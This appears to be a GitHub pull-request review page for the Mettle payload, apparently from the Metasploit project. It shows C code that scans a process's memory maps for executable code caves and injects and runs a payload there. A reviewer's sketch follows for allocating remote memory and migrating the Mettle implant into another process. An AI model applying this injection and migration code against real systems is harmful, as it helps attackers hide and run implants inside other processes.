Skip to content

Conversation

@msutovsky-r7
Copy link
Contributor

No description provided.

@dledda-r7 dledda-r7 self-assigned this Nov 6, 2025
Comment on lines 77 to 114
strcpy(maps_file_path, "/proc/");

strcat(maps_file_path, itoa(pid, 10));
strcat(maps_file_path, "/maps");

maps_handler = fopen(maps_file_path, "r");

char * permissions;
long start_address;
long end_address;

while(getline(&line,&len, maps_handler) != -1)
{
printf("%s\n", line);
permissions = get_permissions_from_line(line);

char * permission = permissions;
while(*permission != 0)
{
char permission_char = *permission;
if(permission_char == 0x78)
break;
permission++;
}

if(*permission == 0)
continue;

start_address = get_start_address_from_maps_line(line);
end_address = get_end_address_from_maps_line(line);

long code_cave_address = find_codecave(pid,start_address, end_address, 0x100);
if(code_cave_address){
printf("Found code cave at: %lx\n", code_cave_address);
// try to inject
copy_and_run_payload(pid, code_cave_address,payload,12);
break;
}
Copy link
Contributor

@dledda-r7 dledda-r7 Nov 6, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I woul split this function and the copye and run payload in:

int write_process_memory(pid, remote_address, local_address, size)

and remote_call(pid, remote_address)

also i think the section lookup for executable memory maps should be directly in the find codecave so you have a transparent api that just get you the address of what you need

also you can create something like:
int remote_memory_allocate(int process_pid, int mem_size)

that will be something like

int remote_memory_allocate(int process_pid, int memory_size) {
    int allocated_mem = get_code_cave(memory_size);
    if(allocated_mem > 0) {
         return allocated_mem;
    }
    int wrapper_memory_size = memory_size; // possible compiler issue that's why we wrap it.
    memcpy(mmap_stub + offset_size_memory, &memory_size, sizeof(int));
    int code_cave_addr = get_code_cave(mmap_stub_size);
    write_process_memory(process_pid, code_cave_addr, mmap_stub, mmap_stub_size);
    remote_call(process_pid, code_cave_addr);
    return get_code_cave(memory_size);
}

then the migrate can look like

int migrate(int pid) {
     int migrate_stub_addr = remote_memory_alloc(pid, migrate_stub_size);
     int mettle_addr = remote_memory_alloc(pid, mettle_binimage_size);
     write_process_memory(pid, mettle_addr, mettle_binimage, mettle_binimage_size);
     memcpy(migrate_stub + offset_mettle_addr, &mettle_addr, sizeof(void *));
     wirte_process_memory(pid, migrate_stub_addr, migrate_context, migrate_stub_size);
     remote_call(pid, migrate_stub_addr);
}

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

Status: Todo

Development

Successfully merging this pull request may close these issues.

2 participants